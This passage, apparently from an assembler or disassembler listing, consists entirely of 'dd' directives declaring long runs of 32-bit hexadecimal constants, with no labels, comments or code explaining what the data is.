		dd 0E89665Eh, 0A584800Ah, 0B49C7002h, 4FDD3097h, 0C37FD6E8h
		dd 0C7D8D452h, 0DFB60D64h, 0C7F61229h, 8A2838C2h, 15F4500Ah
		dd 961E88CCh, 2838B8D2h, 0D9F60C38h, 0B628C78Bh, 37EADE04h
		dd 5705204h, 772A9213h,	4C15D86Dh, 0C13CEA2Eh, 0E178E712h
		dd 76A19Ch, 0B7C437E8h,	6516EA27h, 6607F4D4h, 485A2422h
		dd 0DA41C7E7h, 40856E6Bh, 19A6516h, 0D22BCF9Ch,	0ED1C0A6Dh
		dd 36C4BE76h, 20B95C01h, 0E5147FA4h, 9EF305Ch, 0A4B3EB88h
		dd 1FD6E003h, 3783047h,	0AB4D9231h, 0F6280C9Dh,	45C8E1B4h
		dd 54E6F424h, 3447C658h, 0A031AEC2h, 6456375Fh,	41350240h
		dd 29E6DC5h, 0F161E8B6h, 1A44A24h, 0F5EC7CFCh, 0B840077Fh
		dd 5620B7E1h, 57043C44h, 90BFF43Ch, 0F77A76B8h,	0A01CA8D4h
		dd 1483AE92h, 0AC0A82FCh, 20C31571h, 0D68028E4h, 899FBF6Ah
		dd 393678C4h, 0D5459881h, 1225A820h, 2CE5268Ah,	4118EFC0h
		dd 0D689F21Ch, 3ADC00DDh, 0F4AA34C4h, 0F62BE945h, 0EA817413h
		dd 7E52C52Ah, 635F600h,	0C705E73Ch, 0CE1212Ch, 96602CBAh
		dd 0E9273A02h, 435E7825h, 1DFA12B8h, 6D1028A4h,	0DC303EFAh
		dd 4FB66081h, 7FC8C45Fh, 74288E3Bh, 89A8C14h, 3CC3D08h
		dd 822705E6h, 0C016A089h, 4604423Ah, 18348304h,	5F7E071Eh
		dd 81E723EDh, 80EAE66Bh, 1A6AA921h, 749B724h, 0D9B5B39Eh
		dd 6484EA1h, 5D5A7B07h,	0FD69F050h, 689B0047h, 6110BE8h
		dd 0A5616C4Eh, 96014634h, 0F2925B60h, 3FF90382h, 212B8D91h
		dd 833CC9F0h, 68725A01h, 4B1A4892h, 0B62C180h, 31E6D9B9h
		dd 0C92B5107h, 15429228h, 2209008Fh, 2BB82A0Dh,	0B7039701h
		dd 4F346318h, 7F35FCh, 6532E645h, 0E7F91924h, 0E39AA81Dh
		dd 0DED09747h, 0F6CED7E0h, 0C63CA573h, 3C8020AEh, 0E9726061h
		dd 168EEB00h, 4B3B4993h, 70C602ECh, 5C4E15BFh, 43AF807Dh
		dd 30238563h, 0F70E36Dh, 0B628CA2Eh, 0CC01F49Fh, 0DF673CE8h
		dd 0C9E8891Ah, 0A863F2B3h, 2C8ED4h, 7FE717F3h, 12739EC0h
		dd 78FCB275h, 0E53C20h,	0B70CF166h, 0C69D1D25h,	4487E101h
		dd 2B7B60F9h, 30F376EDh, 88ECB1B8h, 2EFABF75h, 0F9D11200h
		dd 60A03D9Ah, 745EE85h,	0E154277Ch, 0E4DF0067h,	6A028896h
		dd 73729392h, 0B85CA031h, 106371E9h, 80E8DE7Fh,	0E643E070h
		dd 5B4900CAh, 272A8A33h, 4F636771h, 0D8920538h,	0A97B98h
		dd 56A189F2h, 0F0887A72h, 2D249318h, 6505F9h, 0CECDAE31h
		dd 0E4C513DDh, 18C8A002h, 44E7FD70h, 1A690250h,	9F319D87h
		dd 1F8C18h, 18CA8239h, 92575BD7h, 0F99D0500h, 19B48547h
		dd 948E00BDh, 78D4A7EFh, 64637E9Ch, 99AD5278h, 898006F8h
		dd 0CA8E1ABCh, 2429F121h, 395940E7h, 44020A0h, 3AA90181h
		dd 7F20905Bh, 0FF00E157h, 47A0E6A2h, 24CDC58Eh,	0DC806AB9h
		dd 0A44C8D00h, 97D5FA10h, 2B4600EBh, 9D9F7D51h,	1502A7E8h
		dd 0C5C90944h, 0E204487Ah, 2208C013h, 877B017Ch, 84392500h
		dd 0C84895A2h, 505A0040h, 28DB0946h, 309A2F34h,	6791D600h
		dd 55F37EB8h, 12260085h, 0DA13BDE1h, 3500B728h,	0CEA2F824h
		dd 2EE6A0h, 7DA3B5C2h, 8E18CCDCh, 0E0CF9F06h, 70509E4Fh
		dd 0B1540CC7h, 0AC404C5Fh, 0A4083564h, 0AFAE1493h, 8D534AE0h
		dd 0AC9C1CEAh, 32BD0040h, 31A78990h, 2C139E0Ah,	2403284Bh
		dd 0D25F0211h, 0A0861883h, 566CB083h, 9EA93EADh, 6BF7AB80h
		dd 616E4C34h, 0B536FA1Dh, 595B4001h, 39D4F12Dh,	7C8281Dh
		dd 345652D2h, 0A115DB01h, 0BDA1427h, 53446700h,	32ABD8F0h
		dd 0FED17900h, 0FBAE910Dh, 0EBE50084h, 8BB13AEEh, 10086B4h
		dd 50D9FE36h, 0F1F03C6Ah, 12C398F0h, 30FB8918h,	9A293434h
		dd 4830BC48h, 0F6C9B0C4h, 0A658000Ah, 659C18C1h, 0C624036Eh
		dd 0BC3FDC30h, 403DA66Fh, 0C930E01Dh, 0FEF5FE9Fh, 1AFF001Dh
		dd 0B7EEED1Fh, 4F003E44h, 6E42C5E3h, 15F9EBh, 0C1F6A037h
		dd 84A12A94h, 67CD0E00h, 1E175627h, 0F254A4BAh,	0B96139D7h
		dd 12C2C738h, 0C8001952h, 0C25DAF74h, 99053C9Ch, 0A87E5B80h
		dd 0B628DFFFh, 1CB93538h, 0A7814DCCh, 2E4FCE56h, 2FC81896h
		dd 9069694Ch, 2E1A4Ch, 22062F02h, 5391D787h, 1500B490h
		dd 0E1C86A35h, 0A810D189h, 1F4A3688h, 0C0B58733h, 7A6DB75Bh
		dd 104CA7BEh, 3918096Ch, 0D03774h, 4B4C95B0h, 0E41FA290h
		dd 7DC5048Eh, 508081EDh, 725D6A69h, 5E850B54h, 2280F5C4h
		dd 167DBDE4h, 0A804300Ch, 60BE71B3h, 20120855h,	9924DD45h
		dd 0A8003128h, 809C48E8h, 9F760F82h, 15AE9251h,	42AF03FCh
		dd 9DB8CC18h, 6771BD94h, 0B04130C0h, 3AC5D6Dh, 3AA223CAh
		dd 0AEF8D0EDh, 749826D1h, 304019EDh, 53E9983Ch,	0CD30B8A8h
		dd 1093FF21h, 0E6C94200h, 951D902Ch, 805A582Fh,	3D603382h
		dd 871CD00h, 7DC4A0B0h,	2C2B0119h, 132EA5E6h, 5CDC00A1h
		dd 0C557008Ah, 0A32B9EEBh, 7F0007C2h, 0E6B49868h, 38A51918h
		dd 90812761h, 9267EF38h, 6ECC585Bh, 0CFB2B902h,	1338F018h
		dd 2C276103h, 98347319h, 3A1F7C61h, 40D0A820h, 94EA3027h
		dd 0C90FDFD9h, 8A26D201h, 0A3CDBC78h, 17256AD4h, 4181AB51h
		dd 323F61A4h, 52102029h, 0B53A22h, 5E88B1B3h, 855ABF6Fh
		dd 61B2F926h, 0A437BA09h, 88D8D060h, 5712070Dh,	28382468h
		dd 0A140DB44h, 15100DF1h, 4787931Ch, 0C48CF5CEh, 0C1EED02Dh
		dd 60B98212h, 0EE3B1CAEh, 0FE948F1Dh, 7D4E19Bh,	39D45AC2h
		dd 3ADF3C08h, 0C4919E00h, 0FE47E181h, 0B91CF200h, 0E6E86ACEh
		dd 9C5A1E9Ah, 72CCC0F9h, 0E2C33A62h, 50E4471Eh,	0AD25D440h
		dd 3AFC5E7h, 2E6C4CC9h,	1E87CF5h, 0A2001335h, 0B1262AF0h
		dd 1B62FACh, 3398ED46h,	0EC721DA0h, 8307DEABh, 75A1CB51h
		dd 7DA980A0h, 0D6890387h, 0B4C86FDFh, 3A1801C0h, 20008CFCh
		dd 4A5BACF9h, 9097A1h, 0FA7DE448h, 792D6142h, 0B2D7D60Eh
		dd 8034A756h, 5E0F85A0h, 0B113319Bh, 0CE10459h,	475D0222h
		dd 9050BD3Ah, 2C80014h
		dd 0F0A8A5B9h, 0A7EE934Eh, 4E89A0Fh, 21CF3C2Dh,	68F3E1B1h
		dd 8BF4EDD2h, 0E168C115h, 407E06EEh, 6360E4A8h,	0C070C26Eh
		dd 552AD2BFh, 1AB90F22h, 0A180FC11h, 0DDE2C087h, 5CF6C105h
		dd 8D01527Dh, 8AA64E96h, 30C4CC50h, 3820007Ah, 0B77AFB4h
		dd 0E0F287DDh, 2D4770C3h, 1EF7B89Bh, 422500B4h,	96B3F621h
		dd 0F10040F4h, 0C43B4FBEh, 0DD3672h, 0D21DA6A0h, 83B569EAh
		dd 67F4350Ch, 934880h, 0DF42579Eh, 0BF48874Eh, 5E468301h
		dd 7266239Ch, 74968C40h, 87530004h, 25990754h, 4600F0E7h
		dd 83B38FFAh, 0C0B7B63Dh, 0C748E4B9h, 0F2009B0Eh, 0F7B4CD33h
		dd 602CD8D4h, 0C99D21EEh, 0FE013290h, 0B375ADD7h, 0CCD0AB70h
		dd 384A80E3h, 15E7939h,	69128E88h, 0D6702228h, 0FC7C8Dh
		dd 0B7CE8919h, 0E27E3297h, 0F0E553h, 842162C4h,	84978740h
		dd 0E20B5F00h, 0BA80BE7Dh, 915A00EFh, 7333A87Fh, 6000C339h
		dd 0EE0CF6C6h, 1CDDD031h, 2E5EA4h, 0F91B1936h, 2D5492D4h
		dd 0A838B760h, 8C2710D0h, 4E04FC4h, 2C003DDCh, 0D86A3BF8h
		dd 35801900h, 56C3B55Dh, 46F8A4E3h, 7BCC014Ah, 35144464h
		dd 9741570Ch, 3B5D3C8h,	8DF6EBD7h, 0B2F842A3h, 970E95D0h
		dd 8073413Bh, 9CF55515h, 12A971E1h, 1EA7197Eh, 2E6700B0h
		dd 0FA5B1618h, 0F8049E07h, 0B046A0F4h, 0A6260021h, 0F2F168CAh
		dd 8A09CFE8h, 217675BFh, 0B3526C8Ch, 618028BFh,	126E9205h
		dd 933C33B4h, 566A803Bh, 1E6F766Ch, 94CB015Bh, 41F22E04h
		dd 31E0F713h, 0D1DA58Ah, 0F4C09545h, 0E0BC68ABh, 0E30008Fh
		dd 8B9BD7B1h, 0EE00E4FAh, 0F2B2F473h, 0C90DA3h,	22777534h
		dd 0E05D187Eh, 82D74914h, 0D83AE0h, 7769E772h, 0D02202h
		dd 0BDA1F84Bh, 8032D442h, 900C2F8h, 0B320EF2Ch,	0FB1E10h
		dd 0BEC49227h, 8076CD12h, 807CEB3Ah, 0B210E4Eh,	34E82Fh
		dd 7BF9D825h, 8009DCE5h, 9EA71700h, 4620AB99h, 9C363DDh
		dd 2000D850h, 4805D237h, 0F3B584h, 1C6BA0BDh, 0DF6CB171h
		dd 0CA002B7Ah, 6D207DD7h, 3CDD1268h, 5A003614h,	0B1E9AD1Ch
		dd 56000155h, 0EF5E7022h, 7CA50E0Ah, 5D83309Ah,	0E54B4208h
		dd 0B6549207h, 6F108738h, 0F61C831h, 5E723B8Dh,	0E119A87h
		dd 7CA54441h, 0BA74EC0Bh, 5DC7A00h, 59EEB275h, 69830046h
		dd 0C308B4C0h, 0B6004292h, 170C8F63h, 54ACAh, 34FBA082h
		dd 0A8EFEDAEh, 0D810FE06h, 1AE3D9h, 74C5B657h, 0EE4FDC8Ah
		dd 91B7E203h, 96D1809Dh, 0B64400A8h, 0BD5D730Bh, 7E70A465h
		dd 4CC15B00h, 9837270Eh, 0A573DB5h, 21DA9500h, 5DB73C2Fh
		dd 2E47C0DFh, 789742A5h, 0E4A046F7h, 7615D4h, 4D0C6E63h
		dd 5E36CB3Eh, 8B402000h, 0F3CD6158h, 1C10F0A9h,	4031C08Ah
		dd 0DBE76274h, 4C0077C9h, 0CC578011h, 91162Dh, 215F0FCh
		dd 5AB52EB4h, 40273A00h, 0B23721DBh, 0BE5807D5h, 8645FA29h
		dd 18C358F1h, 0D0D438CEh, 330B3A5Dh, 9131D7EAh,	0BDC1C7A0h
		dd 8BA7E500h, 546730B1h, 0A0E13A98h, 7D60D601h,	80436B13h
		dd 0D8BA6CE0h, 0EFE8DF3h, 2C6A4F1Ah, 56E5D460h,	3F0FA6C5h
		dd 0E68334D3h, 1C509F35h, 2362542h, 0BDC6D43Eh,	0C3030C44h
		dd 62333271h, 1DC0BCBEh, 0ADCF285h, 0A1142C38h,	0E09A18D4h
		dd 0C8C0E037h, 0A8D4E27Fh, 8D8600DCh, 0B9724596h, 54009FDDh
		dd 2CBF063h, 4C84BCC6h,	52059907h, 2082A9C7h, 0C2087C04h
		dd 0C961E2Bh, 300846DBh, 0F5E6F680h, 6D00CCDBh,	977F17EFh
		dd 0AA240FBh, 96D9E3EEh, 0FD53080Ch, 0C4719443h, 23FCFF44h
		dd 0A723BC6Ch, 831626CCh, 10D6BA0Ch, 5244E928h,	0DC3CA8CBh
		dd 0F769443Eh, 4110F942h, 905F8E1Fh, 6A655E82h,	54451B25h
		dd 300AE6F3h, 0B8904887h, 21F843C4h, 0C43595Dh,	9A49006Fh
		dd 83FBD980h, 331FCC52h, 88C53782h, 0A8228AE9h,	0F7837DF9h
		dd 6A8822A0h, 4E3047CAh, 68D207Ch, 4286006Eh, 5878A8CEh
		dd 39C0C9E0h, 0F2537E48h, 0AB630377h, 35591EF8h, 21FF69A0h
		dd 5592DE00h, 0D529513Ah, 0E948002Ah, 0E2356A41h, 9B61207Ch
		dd 0FA03A368h, 7186BD0h, 0CC7A9F9h, 0C0E0F059h,	920280CFh
		dd 0BE70F88Ah, 204C905Fh, 14C00E4h, 2F025284h, 0DA0446C3h
		dd 9C156876h, 75EF9FC0h, 737E0056h, 7D3E29AFh, 53F87106h
		dd 0EEC73500h, 0D2835134h, 1F6230BBh, 745DAC68h, 7AA1C10Eh
		dd 790E9E27h, 5423407Eh, 5A1AB3h, 65BC7C0Ah, 0B7374A3Eh
		dd 1C91C128h, 57C20700h, 0D30C6619h, 3DC900FFh,	77993545h
		dd 0E8F2F4CBh, 8F949D07h, 22104D9Bh, 9A2BE4h, 0DC0D061Ah
		dd 0F4AE092Dh, 8B0FAC00h, 11026378h, 528F18FDh,	40CA2830h
		dd 0E0AB4F00h, 46A6B4C4h, 58B60E7Bh, 5B2033F0h,	60942611h
		dd 5C440B29h, 806CD980h, 880641h, 9BC07F5Fh, 48DD740Ah
		dd 0EC0783F4h, 0ED0D7BC8h, 6BF087B7h, 0FA94DCh,	7E46C540h
		dd 0CD9A19D3h, 93002E7Ch, 0CCC7E8A8h, 0BE2250h,	3F75A3DEh
		dd 7D6C1DDh, 28D14030h,	0FAEC19DFh, 30E224h, 0B2A013BEh
		dd 0D0057BF7h, 0FE007EF8h, 0F883D628h, 9CC046h,	3DF55710h
		dd 0A3AEDC47h, 0CA092E00h, 0DDC36712h, 0E061052Dh, 8170298Ah
		dd 0D2FA9F7Dh, 0BC53589Ch, 0E579834Ch, 0E25E0082h, 1A7D1680h
		dd 0FB17117Eh, 0C9003436h, 0C1125051h, 0DB213C32h, 3AA5D10Eh
		dd 8D1740D8h, 1F63C07h,	318CFA16h, 247019h, 0FD3A07D0h
		dd 0A05A65F9h, 3F01A3Ch, 0BC4F1F64h, 0F38DF8AEh, 349E00D6h
		dd 0A85AAB95h, 0D500EF9Ch, 0FA45C747h, 15CE3B57h, 0B82A8D0Ch
		dd 372BD803h, 0B8F83309h, 7F03A146h, 725B6228h,	23B05876h
		dd 0F3024403h, 907F16A7h, 0B8E0DD30h, 64971E3h,	5AE642B9h
		dd 3000307Ch, 7AF9FC62h, 29F628E8h, 5EAC5D7Fh, 1AB298C5h
		dd 30F7DF00h, 74DE68A4h, 0D3C40059h, 0B66099ADh, 5A1EC72Ah
		dd 6A1D63F5h, 7E8C1900h, 2B487B75h, 0F0448E14h,	0D8008ED5h
		dd 5E265460h, 9D849Fh, 0D75ABD61h, 194B3B58h, 5174B100h
		dd 4F6BEEDDh, 977F8Bh, 21C1E5B9h, 5B033932h, 0FD7AED01h
		dd 2EF852DDh, 0FEA67EF4h, 0D1B000F9h, 238AB696h, 0A90056ABh
		dd 0B90E1CF5h, 33AE0BEh, 0BFB8F8D5h, 0B448C4h, 1741EC43h
		dd 0F0B007B4h, 0B0081B65h, 8FE6C253h, 1301B9F2h, 0B276690h
		dd 32F19D2Ch, 3B1C92D0h, 23805DC1h, 28D73989h, 0D0F33CFBh
		dd 3E3BA663h, 0FD6B804Dh, 4987C27Fh, 0B3090323h, 0C7892D03h
		dd 0EF842844h, 0CE58EC00h, 88E01143h, 9C2107B0h, 0C0965BBCh
		dd 53AEDA28h, 0D03A47Ch, 49BA9536h, 21BDF074h, 42F43CA5h
		dd 0A7ED00FAh, 8EBE3B1Ch, 1A007332h, 0B215D527h, 1D827Dh
		dd 4921297Eh, 0BAB4F839h, 3294F700h, 12082CAEh,	0C2F40058h
		dd 53297D88h, 2F0030ADh, 4D2B96DDh, 5833B69Ah, 3C00FFA9h
		dd 6F5A64D7h, 2478F908h, 0F1266E03h, 0A07F1185h, 74FC4D05h
		dd 4E551CEDh, 1E5CDE0Ah, 906AC098h, 0D3823835h,	3603584Eh
		dd 260953h, 43EB5480h, 56EF146Bh, 9F444Ch, 2EFFD5DEh, 1F49A3E0h
		dd 92A407CFh, 0D70300BEh, 0B357FD2Fh, 456FD300h, 0D02AA17Bh
		dd 0F90700B9h, 0FEA659DFh, 9600864Dh, 0AA360A57h, 0B0F1FDh
		dd 5411CDBDh, 3D5AF22Dh, 253DB674h, 37491C01h, 95ECDB00h
		dd 50BF4275h, 0A5948C4Ah, 0DA3D8E80h, 5E44258Ah, 2DE90D60h
		dd 2108D7Eh, 0B982EB1Bh, 86426A48h, 8165C422h, 0ACD69090h
		dd 3E98180Ch, 30838FFh,	2531D08Eh, 11045507h, 23E839Bh
		dd 853A8724h
		dd 0C31803FDh, 21EC9083h, 0B7E097EBh, 0E5778053h, 80E179C0h
		dd 0C039FFh, 48B69B0Fh,	0B8829FD8h, 0ADD66900h,	39459E2Ch
		dd 6797023Eh, 0D2BD1D54h, 6E2EA482h, 0D380AD40h, 84A81639h
		dd 44BA2C83h, 4FA51C80h, 4700F3E9h, 0B5180908h,	0EFA0139Eh
		dd 20B80093h, 11380A6Eh, 3001E8Ch, 0A66918DBh, 5C2F3C10h
		dd 8A0E36BAh, 0A6CA179h, 0BF0039C9h, 0BC93C583h, 5ED896h
		dd 0BD459F3Bh, 0E5CF1136h, 3CE40354h, 67ED3215h, 0B3120C88h
		dd 1FD0E8Fh, 4611F077h,	0E410CBFCh, 0B7307F94h,	52E8481Fh
		dd 247330C8h, 6BE9F239h, 0C003417Dh, 183CBE8Eh,	0A0A6A286h
		dd 479BFFDCh, 901A00AAh, 0A74978F8h, 8203C2CBh,	0F4A04C99h
		dd 8FB6F03Ch, 3BC502B0h, 1B02C312h, 85E80848h, 30A0D5Ch
		dd 587010FCh, 8F082A67h, 488D0094h, 7C8219FDh, 0E8ED0B36h
		dd 0D4902605h, 0CCF10426h, 0D1DAE501h, 6C2151C0h, 2DB66E0h
		dd 77B69336h, 0F8A082C8h, 5C9A9612h, 11096030h,	0E67EFD74h
		dd 879D033Bh, 9E9AD327h, 0C48E0A2h, 6500B8BAh, 0B78FB2DEh
		dd 0DFCB94Eh, 25FB7745h, 5A55C420h, 71725400h, 802EEBB8h
		dd 0A8F036Ch, 0F9C55CBCh, 2660A0CFh, 0E91245FDh, 845F216Dh
		dd 0FA3BCE02h, 5CB8A2CAh, 6EE51891h, 0E0210D7Dh, 43399285h
		dd 47C85300h, 36D2B403h, 0A7A3F964h, 43601C62h,	4A7800E3h
		dd 4D406519h, 1000C2C4h, 4547A05Eh, 0EA7C2681h,	2F5A0411h
		dd 0C0C59D0Ch, 0B5876A3Ah, 0A68D5E00h, 0DC167B3h, 2D191FF3h
		dd 0D2CE4h, 14053DCh, 27034183h, 0D96A972Fh, 0B28AA833h
		dd 371FE72h, 0AAF48D4Fh, 15D80540h, 0C60E76CAh,	80D29C24h
		dd 63C7E613h, 0D3DF5CD9h, 46683104h, 85E080EBh,	73010C22h
		dd 0B8BEF625h, 0E0CB088Ch, 386CAC1h, 23842C9h, 0A3E84788h
		dd 4A00F0D6h, 455E3BAAh, 9D867Dh, 24FF3AA0h, 4BE22BD7h
		dd 0C889B11Dh, 0E0E44A40h, 28CDA6h, 0AD5E0783h,	0E1A4D2D8h
		dd 0E791B800h, 0F5E2E4D0h, 98A63DCBh, 40AD06F3h, 0CC712F8h
		dd 0A2641F00h, 0AB35F769h, 8DE00031h, 9BCE9CA7h, 0D600A852h
		dd 1613F3C4h, 0AEEC05h,	240CCF20h, 1B3A6162h, 0F877B700h
		dd 0C8EEB21Eh, 5AB0014Dh, 80137BC1h, 703FF556h,	3B078993h
		dd 6066E8F4h, 4FD42240h, 0F9C800F2h, 2D8473Ch, 0EC7C6CE3h
		dd 553A391Dh, 0C2AEFDC0h, 0FE367Eh, 9FBEE268h, 3FEC0F14h
		dd 0AD867000h, 69BF85B1h, 2F480013h, 0C845C27Ch, 0CF00465Ah
		dd 0DB107E95h, 9DF5927h, 132C35EAh, 573A2700h, 0F40005CAh
		dd 2A758740h, 3102C15Dh, 0DB51BC59h, 6367023Fh,	223800FBh
		dd 0FEC37281h, 0E4375DB6h, 7D22289Ah, 94C40716h, 75A5044Dh
		dd 48E24F44h, 0C75841A3h, 80C90257h, 0F3765128h, 40697EBCh
		dd 52006C64h, 26E1EE9Ah, 2EC43412h, 53C56Ah, 0BB1053E3h
		dd 1A003AB9h, 5CD754DEh, 0D3B080h, 51F711EBh, 72C32CCEh
		dd 0E624B9B8h, 900F930h, 7C95B866h, 103F86Ah, 0BC92E967h
		dd 0EC29F484h, 7607E6D0h, 9DA12B9Fh, 86D3A200h,	0A5703Eh
		dd 2619C5D7h, 0BB4C251Eh, 0B770EA00h, 1779E10Ah, 9BE31752h
		dd 95A6A05Ah, 2FECD700h, 4D914E6Ch, 478C0077h, 0FAA36F02h
		dd 0C00F9EBh, 7A19352Bh, 0C349AE9h, 65C65D8Dh, 46000F30h
		dd 0CCBA1404h, 78DE381Fh, 2C90A8h, 0E35836B9h, 0C1C73083h
		dd 0AE4CB701h, 5DDC0AB5h, 996EBD8h, 0A7FFEF65h,	0CAA34E00h
		dd 0A91B769Dh, 0A910DCCCh, 28E43635h, 18DA03B1h, 0F80E7BD0h
		dd 0B709CCA0h, 0FF509B0Fh, 0CAAA2069h, 0E4854AEh, 8C7FEAA7h
		dd 0C82E5881h, 84D82059h, 0BF4A3300h, 3543EF61h, 50749Dh
		dd 0BA5E6B71h, 77A773EAh, 8B34C500h, 700A3DFCh,	207100B4h
		dd 857EFABFh, 393BCF1Ah, 3E9500E2h, 0C237B935h,	3BF20044h
		dd 99583368h, 0FBF50BEDh, 0DE1D06C0h, 0C3E70300h, 0C6A43ADBh
		dd 10521C22h, 4D4B80E6h, 9148D1A6h, 724ADE00h, 0F9E4C328h
		dd 83F00E7Ch, 2980ABC0h, 0EB93B0EEh, 2100D77Bh,	1B49164Bh
		dd 3C1EF323h, 66007A0Dh, 5C7C6EA6h, 470BC254h, 55E1579Ah
		dd 2AD22900h, 664CC426h, 58A50216h, 805B99F9h, 0E63B2F88h
		dd 1CEC30ACh, 1602360Eh, 0AEBB3C00h, 0E46AB41Bh, 404B00C6h
		dd 63DF76Eh, 0FA001535h, 0D525908Dh, 0B016CF0Bh, 58730016h
		dd 9C34F26Eh, 0F53D13AEh, 69CCCDh, 9AE8DF36h, 0E6E25044h
		dd 0BC350095h, 0E594CFA5h, 0C1363A7h, 38017DD8h, 0B1F772D7h
		dd 3ACD3EFCh, 6C8010F2h, 0D9F4DE32h, 0AC05FE61h, 0D8D154Dh
		dd 0BB28D080h, 82110014h, 91E462A1h, 1F03CE43h,	88354D44h
		dd 80F8AA18h, 0BF5B7CE6h, 4FC2006Bh, 0C7267E40h, 31181324h
		dd 0D21038B4h, 0D83A50ABh, 0EF5B0045h, 11D87748h, 0C40042E7h
		dd 3CDBB5B6h, 39B3420h,	6F480892h, 66C8E240h, 0A35C16A2h
		dd 7DD60096h, 396BA815h, 8B183DC2h, 0D0845C00h,	8651B598h
		dd 14DC8C00h, 0CBCF34A0h, 0C82F00FCh, 5EB2E48Eh, 85009DA5h
		dd 21C290D9h, 1FBFDBEh,	0DE40B597h, 0ECA7107Ch,	0F40072BDh
		dd 6285F1ADh, 4A543h, 2FEF3B06h, 8E7A86DAh, 0FC7B750Eh
		dd 3EBD00A4h, 3E4B1B55h, 17F5601h, 57604C8Fh, 0FC46DA3Dh
		dd 370051FFh, 0C641DB80h, 3949906Eh, 9A807F76h,	0E2F9E57Bh
		dd 0ED00F211h, 0E0CF98D3h, 2066ACh, 8242D412h, 0C9C4435Bh
		dd 3B7BAF3Ah, 219B80E7h, 72607C75h, 85D50064h, 0E9FF3D59h
		dd 0D700B8ABh, 81764A50h, 1C15BC58h, 597B546h, 802BE114h
		dd 8D1CC1A8h, 314BB800h, 7851D5C6h, 995700C0h, 9CD82A85h
		dd 950001B6h, 0E538D40Bh, 7F6C07h, 8A99C37Ah, 0AA4BFCFEh
		dd 54A8DCA8h, 2800C8E0h, 0AED5018Dh, 3E2124h, 4D7BEADEh
		dd 556ABB84h, 30EE4630h, 98DAE71Dh, 4C8D3C65h, 685BFC01h
		dd 6089F355h, 0B00FE4Ch, 71C55D8Bh, 0A82B91h, 1674ECFFh
		dd 9BBAE292h, 41F20B00h, 0C79DAD8Bh, 0CE5A00AAh, 0A9184FA6h
		dd 4D00F995h, 0E75D632h, 0E6084E0Ah, 8B1907C6h,	0D08EEB7Dh
		dd 1657F46Dh, 947E3207h, 0D40B3F1h, 0F0E0B65h, 0C4BF21AEh
		dd 5CA8F840h, 3C0068CDh, 6AF3D9D1h, 0B2863Eh, 0DE27BB8Ah
		dd 621C45B8h, 151EAC02h, 40A4A598h, 48F9FBD2h, 0C33C14C1h
		dd 976301F6h, 6630FACDh, 2C6C80E0h, 63B0875h, 4AFD030Bh
		dd 3FB5F160h, 0D44C7DFBh, 0BC210E66h, 0E9022023h, 101779Eh
		dd 63C20DF1h, 0C8DE49AEh, 0A700AD3Bh, 70074F6Dh, 39FF6144h
		dd 798029FBh, 53C5F6A1h, 0EE0074F3h, 6F1ECFACh,	1669CEAh
		dd 0DF5BB816h, 0EC13DA93h, 0FA1FA0E3h, 0DB4E0A28h, 71EF2039h
		dd 78435C92h, 2DE00Fh, 8C0C4D72h, 0D0CB6562h, 57243Ch
		dd 6483E9C9h, 2939425h,	0E2A55F48h, 9CC0A1B1h, 10F44108h
		dd 8D9EDE00h, 86A7B545h, 23130005h, 58C42AB3h, 84008CB1h
		dd 45AFB72Ch, 912BCDh, 4FCBE099h, 237E59E6h, 760050F6h
		dd 7D4A4E56h, 673BA6h, 1629245Ah, 0A2D26986h, 760A000h
		dd 1650BC9h, 21DE0FCBh,	0C1C7E23Dh, 5587505Fh, 0DCFBF6A9h
		dd 691B16C7h, 0A0BA9907h, 0B32877h, 0DD613EFBh,	40F5AD65h
		dd 861CDCEEh, 438FC1D3h, 0EBE4802Fh, 559C91h, 35F59025h
		dd 3B9D502Ah, 87F0F300h, 1ED8BA7Ah, 0C430010h, 17185C79h
		dd 63F8A2D6h, 5170E600h, 2928B8BCh, 1B3407F8h, 0B035EE4Fh
		dd 0B472FBBEh, 0B22BC907h, 8A10977Fh, 102A899h,	4CD3EE8Bh
		dd 43A621C3h, 74B0B5E4h, 0D400B27Dh, 0C123AB77h, 94954Eh
		dd 0D75F6B06h, 40260ECEh
		dd 0BF256F03h, 0E1FE3016h, 0E03EEE05h, 743ECEB3h, 0CDC08044h
		dd 306EF4Dh, 183300DFh,	1660CF5Ch, 0C2F007E6h, 9B0047F6h
		dd 5A6FE4D2h, 0A19DA4h,	4A1AD311h, 3A469006h, 4CB99607h
		dd 3930FC3Eh, 56997Eh, 9FCA2A59h, 57153318h, 808C2600h
		dd 0E2FD385Ch, 75ED0007h, 7EA71135h, 66004E05h,	0A22E9B63h
		dd 0B2C7D6h, 6AAD4E0h, 5EB06BE7h, 0D815ED00h, 139E4C23h
		dd 0EEA403A2h, 0D96641E2h, 0AA071DD8h, 96212200h, 0A2B1D0FCh
		dd 6F98B3h, 0C5CE247Dh,	5D53890Dh, 9C6F9B00h, 148565CCh
		dd 26EA001Bh, 32DFD743h, 28005F08h, 9113F490h, 0F4AD8F86h
		dd 0ABCC039Eh, 119B8093h, 0C244A7A0h, 0E0388100h, 28A3E8D7h
		dd 2EBC3946h, 50071FF5h, 11AE4075h, 16192BE6h, 0C3E57800h
		dd 26B1939Eh, 1CF32C7Dh, 0BEDD00B8h, 96E61D7Fh,	0EB309200h
		dd 5FAD3534h, 4DF3073h,	149BEC38h, 581AC602h, 50627B24h
		dd 76540954h, 1D815EB7h, 80CF6F7Fh, 1B389D31h, 0D1DF0Ch
		dd 0DCAC6B75h, 0D61DEEEBh, 0E80ED9E8h, 0A0DB6E6Ah, 0D5368B4Ah
		dd 0A51300BDh, 0F6A74E74h, 7F3B85CAh, 0BAAE8258h, 0FD5E9498h
		dd 0DE3602E0h, 2A18B514h, 31C200A1h, 0E71307E4h, 3A94058Ch
		dd 800AE0ECh, 877D6D9Eh, 0FBD40C00h, 85425E91h,	2F0800C7h
		dd 0B227A347h, 0A77F35F6h, 0D1EEDEEEh, 0C1A98503h, 0B06D0A5Ah
		dd 394ED6FCh, 0E50021F7h, 0F54A3B91h, 82732039h, 908C8D07h
		dd 27108F3Eh, 0B1D4DCh,	6947EF6Ch, 0C875A3F4h, 0C01BAA26h
		dd 7D1E6E00h, 0E63667F5h, 423004Fh, 0D7849FD8h,	0E0061AFh
		dd 31BA2801h, 12E4E6CCh, 0B94010h, 9A20A469h, 9E7633D4h
		dd 9487D103h, 0EA0C0444h, 1400FFD3h, 0B42B4979h, 0E2DE3100h
		dd 1A8C81C3h, 442E00F4h, 0C2D112Ch, 921F69E5h, 1FDC9DFh
		dd 64E7E4ADh, 34F0654Bh, 0A100043h, 0FA68AEC3h,	0E1F6C47Dh
